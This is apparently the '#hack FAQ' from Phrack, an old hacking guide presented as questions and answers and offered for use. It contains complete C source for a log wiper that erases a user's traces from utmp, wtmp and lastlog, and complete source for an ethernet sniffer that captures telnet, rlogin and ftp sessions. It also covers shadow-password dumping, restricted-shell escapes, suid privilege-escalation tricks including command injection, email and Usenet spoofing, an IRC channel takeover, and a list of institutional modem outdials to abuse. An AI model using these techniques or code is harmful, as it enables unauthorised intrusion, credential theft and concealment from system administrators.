Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist is encrypted and the results are compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC‑DOS, the best package to use is currently CrackerJack.

03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users.

To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file.

Example:

#include <pwd.h>

main()

{

struct passwd *p;

while(p=getpwent())

printf("%s:%s:%d:%d:%s:%s:%s\n", p‑>pw_name, p‑>pw_passwd, p‑>pw_uid, p‑>pw_gid, p‑>pw_gecos, p‑>pw_dir, p‑>pw_shell); }

04. Where can I find the password file if it's shadowed?

Unix Path Token

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AIX 3 /etc/security/passwd ! or /tcb/auth/files/<first letter # of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3‑Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP‑UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter * of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow <optional NIS+ private secure maps/tables/whatever> System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the user to change passwords after a System Administrator specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it.

]

] Sample entry from /etc/passwd with password aging installed: ]

] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash ]

Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism.

]

] Password aging characters from above example:

]

] M.z8

]

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password.

It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password.

Password Aging Codes

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |

|

| Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |

|

| Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |

|

| Character: w x y z

| Number: 60 61 62 63

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

09. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

10. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell

setenv IFS '/' # C Shell

export IFS='/' # Korn Shell

2. link the script to ‑i

Create a symbolic link named "‑i" to the program. Running "‑i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.

Example:

% ln suid.sh ‑i

% ‑i

#

3. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.

Example:

nice ‑19 suidprog ; ln ‑s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same command line.

Example:

suidprog ; id

11. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, ‑(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); }

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != ‑1L) {

lseek(f,‑(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = ‑1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,‑( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = ‑1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd‑>pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f);

}

} else printf("%s: ?\n",who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

12. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example:

HELO bellcore.com

MAIL FROM:Voyager@bellcore.com

RCPT TO:president@whitehouse.gov

DATA

Please discontinue your silly Clipper initiative.

.

QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA Internet text messages."

13. How do I fake posts to UseNet?

Use inews to post. Give inews the following lines:

From:

Newsgroups:

Subject:

Message‑ID:

Date:

Organization:

For a moderated newsgroup, inews will also require this line:

Approved:

Then add your post and terminate with <Control‑D>.

Example:

From: Eric S. Real

Newsgroups: alt.hackers

Subject: Pathetic bunch of wannabe losers

Message‑ID: <esr.123@locke.ccil.org>

Date: Fri, 13 Aug 1994 12:15:03

Organization: Moral Majority

A pathetic bunch of wannabe losers is what most of you are, with no right to steal the honorable title of `hacker' to puff up your silly adolescent egos. Get stuffed, get lost, and go to jail.

Eric S. Real <esr@locke.ccil.org>

^D

Note that many systems will append an Originator: line to your message header, effectively revealing the account from which the message was posted.

14. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.

15. How do I modify the IRC client to hide my real username?

Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client.

Here are the diffs from a sample hack of the IRC client. Your client code will vary slightly depending on what IRC client version you are running.

*** ctcp.c.old Wed Feb 10 10:08:05 1993

‑‑‑ ctcp.c Fri Feb 12 04:33:55 1993

***************

*** 331,337 ****

struct passwd *pwd;

long diff;

int uid;

! char c;

/*

* sojge complained that ircII says 'idle 1 seconds'

‑‑‑ 331,337 ‑‑‑‑

struct passwd *pwd;

long diff;

int uid;

! char c, *fing;

/*

* sojge complained that ircII says 'idle 1 seconds' ***************

*** 348,354 ****

if (uid != DAEMON_UID)

{

#endif /* DAEMON_UID */

! if (pwd = getpwuid(uid))

{

char *tmp;

‑‑‑ 348,356 ‑‑‑‑

if (uid != DAEMON_UID)

{

#endif /* DAEMON_UID */

! if (fing = getenv("IRCFINGER"))

! send_ctcp_reply(from, ctcp‑>name, fing, diff, c); ! else if (pwd = getpwuid(uid))

{

char *tmp;

*** irc.c.old Wed Feb 10 06:33:11 1993

‑‑‑ irc.c Fri Feb 12 04:02:11 1993

***************

*** 510,516 ****

malloc_strcpy(&my_path, "/");

if (*realname == null(char))

strmcpy(realname, "*Unknown*", REALNAME_LEN);

! if (*username == null(char))

{

if (ptr = getenv("USER"))

strmcpy(username, ptr, NAME_LEN);

‑‑‑ 510,518 ‑‑‑‑

malloc_strcpy(&my_path, "/");

if (*realname == null(char))

strmcpy(realname, "*Unknown*", REALNAME_LEN);

! if (ptr = getenv("IRCUSER"))

! strmcpy(username, ptr, NAME_LEN);

! else if (*username == null(char))

{

if (ptr = getenv("USER"))

strmcpy(username, ptr, NAME_LEN);

16. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:

From the man page for ls:

‑F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.

‑q Forces printing of non‑graphic characters in filenames as the character ``?''.

‑b Forces printing of non‑graphic characters in the \ddd notation, in octal.

Perhaps the most useful tool is to simply do an "ls ‑al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat ‑t ‑v ‑e filename" to see exactly what those bizarre little characters are.

From the man page for cat:

‑v Causes non‑printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non‑ASCII characters (with the high bit set) are printed as M ‑x, where x is the character specified by the seven low order bits.

‑t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the ‑v option is not specified.

‑e Causes a ``$'' character to be printed at the end of each line (prior to the new‑line). This option is ignored if the ‑v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

On an IBM‑PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in qustion to another character.

From the man page for stty:

Control assignments

control‑character C

Sets control‑character to C, where control‑character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.

start and stop are available as possible control characters for the control‑character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^‑ is interpreted as undefined).

Use the stty ‑a command to see your current stty settings, and to determine which one is causing you problems.

17. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on your system now:

OS Sniffer

~~ ~~~~~~~

HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */

Irix nfswatch /* Available via anonymous ftp */

Etherman

SunOS etherfind

nfswatch /* Available via anonymous ftp */

Solaris snoop

DOS ETHLOAD /* Available via anonymous ftp as */

/* ethld104.zip */

The Gobbler /* Available via anonymous ftp */

LanPatrol

LanWatch

Netmon

Netwatch

Netzhack /* Available via anonymous ftp at */

/* mistress.informatik.unibw‑muenchen.de */

/* /pub/netzhack.mac */

Macintosh Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <arpa/inet.h>

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define NIT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = ‑1;

int Packet[CHUNKSIZE+32];

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip‑>ip_len))

#define IPHLEN (ip‑>ip_hl)

#define TCPOFF (tcph‑>th_off)

#define IPS (ip‑>ip_src)

#define IPD (ip‑>ip_dst)

#define TCPS (tcph‑>th_sport)

#define TCPD (tcph‑>th_dport)

#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph‑>th_flags & (FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFLEN+2]; /* important stuff :‑) */

u_int Length; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he‑>h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'‑')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH,'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf,"%u",port); p=buf; break;

}

return(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)‑6]=0; /* strip " YYYY\n" */

return(p);

}

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp‑>Time) ); \

CLtmp‑>SRCip.s_addr = SIP.s_addr; \

CLtmp‑>DSTip.s_addr = DIP.s_addr; \

CLtmp‑>SRCport = SPORT; \

CLtmp‑>DSTport = DPORT; \

CLtmp‑>Length = MIN(LEN,MAXBUFLEN); \

bcopy( (u_char *)DATA, (u_char *)CLtmp‑>Data, CLtmp‑>Length); \ CLtmp‑>PKcnt = 1; \

CLtmp‑>Next = CLroot; \

CLtmp‑>Last = NULL; \

CLroot = CLtmp; \

}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {

if( (CLr‑>SRCport == SP) && (CLr‑>DSTport == DP) && IPeq(CLr‑>SRCip,Sip) && IPeq(CLr‑>DSTip,Dip) ) break;

CLr = CLr‑>Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL‑>Data[CL‑>Length],LEN); \ CL‑>Length += LEN; \

}

#define PR_DATA(dp,ln) { \

register u_char lastc=0; \

while(ln‑‑ >0) { \

if(*dp < 32) { \

switch(*dp) { \

case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \

case '\r': \

case '\n': fprintf(LOG,"\n : "); \ break; \

default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,"(%d)",*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG,"\n‑‑ TCP/IP LOG ‑‑ TM: %s ‑‑\n", Ptm(&CLe‑>Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe‑>SRCip),SERVp(CLe‑>SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe‑>DSTip),SERVp(CLe‑>DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe‑>PKcnt,(CLe‑>Length+dl),msg); fprintf(LOG," DATA: ");

{ register u_int i = CLe‑>Length;

register u_char *p = CLe‑>Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG,"\n‑‑ \n");

fflush(LOG);

if(CLe‑>Next != NULL)

CLe‑>Next‑>Last = CLe‑>Last;

if(CLe‑>Last != NULL)

CLe‑>Last‑>Next = CLe‑>Next;

else

CLroot = CLe‑>Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm‑=IDLE_TIMEOUT; \ while(CLe=CLt) { \

CLt=CLe‑>Next; \

if(CLe‑>Time <tm) \

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \

} \

}

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)‑>ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen‑=8;

}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

/* ugh, gotta do an alignment :‑( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen ‑ SZETH));

ip = (struct ip *)Packet;

if( ip‑>ip_p != IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN ‑ (IPHLEN * 4)) ‑ (TCPOFF * 4)); register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph‑>th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm‑>PKcnt++;

if(length>0)

if( (CLm‑>Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, "DATA LIMIT");

}

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); }

} else {

if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)

Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) ‑ 1] = '\0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)");

}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp‑>nhb_totlen;

filter(cp, (u_long)hdrp‑>nhb_msglen);

}

}

Pexit((‑1),"Eth: read");

}

/* Authorize your proogie,generate your own password and uncomment here */

/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,"(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] == '‑')) {

register char ch = argv[ac++][1]; switch(toupper(ch)) {

case 'I': device=argv[ac++]; break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1,"Output file cant be opened\n"); break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

default : fprintf(ERR, "Usage: %s [‑b] [‑d] [‑i interface] [‑f file]\n", ProgName); exit(1);

}

}

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req‑>ifr_name;

}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

if(backg && debug) {

fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0;

}

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,"[pid %d]\n",s);

exit(0);

} else if(s<0)

Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s);

}

}

fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG);

do_it();

}

The #hack FAQ (Part 2)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 6 of 22

18. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.

19. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0

by Cavalier and DisordeR

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead.

Working Outdials

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

as of 12/29/94

NPA IP Address Instructions

‑‑‑ ‑‑‑‑‑‑‑‑‑‑

215 isn.upenn.edu modem

217 dialout.cecer.army.mil atdt x,xxxXXXXX

218 modem.d.umn.edu atdt9,xxxXXXX

303 yuma.acns.colostate.edu 3020

412 gate.cis.pitt.edu tn3270, connect dialout.pitt.edu,

atdtxxxXXXX

413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx

502 outdial.louisville.edu

502 uknet.uky.edu connect kecnet

dial: "outdial2400 or out"

602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy

614 ns2400.acs.ohio‑state.edu

614 ns9600.acs.ohio‑state.edu

713 128.249.27.153 atdt x,xxxXXXX

714 modem.nts.uci.edu atdt[area]0[phone]

804 ublan.virginia.edu connect hayes, 9,,xxx‑xxxx

804 ublan2.acc.virginia.edu connect telnet

connect hayes

Need Password

‑‑‑‑‑‑‑‑‑‑‑‑‑

206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem

404 128.140.1.239 .modem8|CR

415 annex132‑1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number

703 wal‑3000.cns.vt.edu dial2400 ‑aa

Dead/No Connect

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

201 idsnet

202 modem.aidt.edu

204 dial.cc.umanitoba.ca

204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu

207 modem‑o.caps.maine.edu

212 B719‑7e.NYU.EDU dial3/dial12/dial24 212 B719‑7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT‑1.NYU.EDU dial3/dial12/dial24 212 FREE‑138‑229.NYU.EDU dial3/dial12/dial24 212 UP19‑4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem"

at "login:" type "modem"

218 modem.d.umn.edu Hayes 9,XXX‑XXXX

301 dial9600.umd.edu

305 alcat.library.nova.edu

305 office.cis.ufl.edu

307 modem.uwyo.edu Hayes 0,XXX‑XXXX 313 35.1.1.6 dial2400‑aa or dial1200‑aa

or dialout

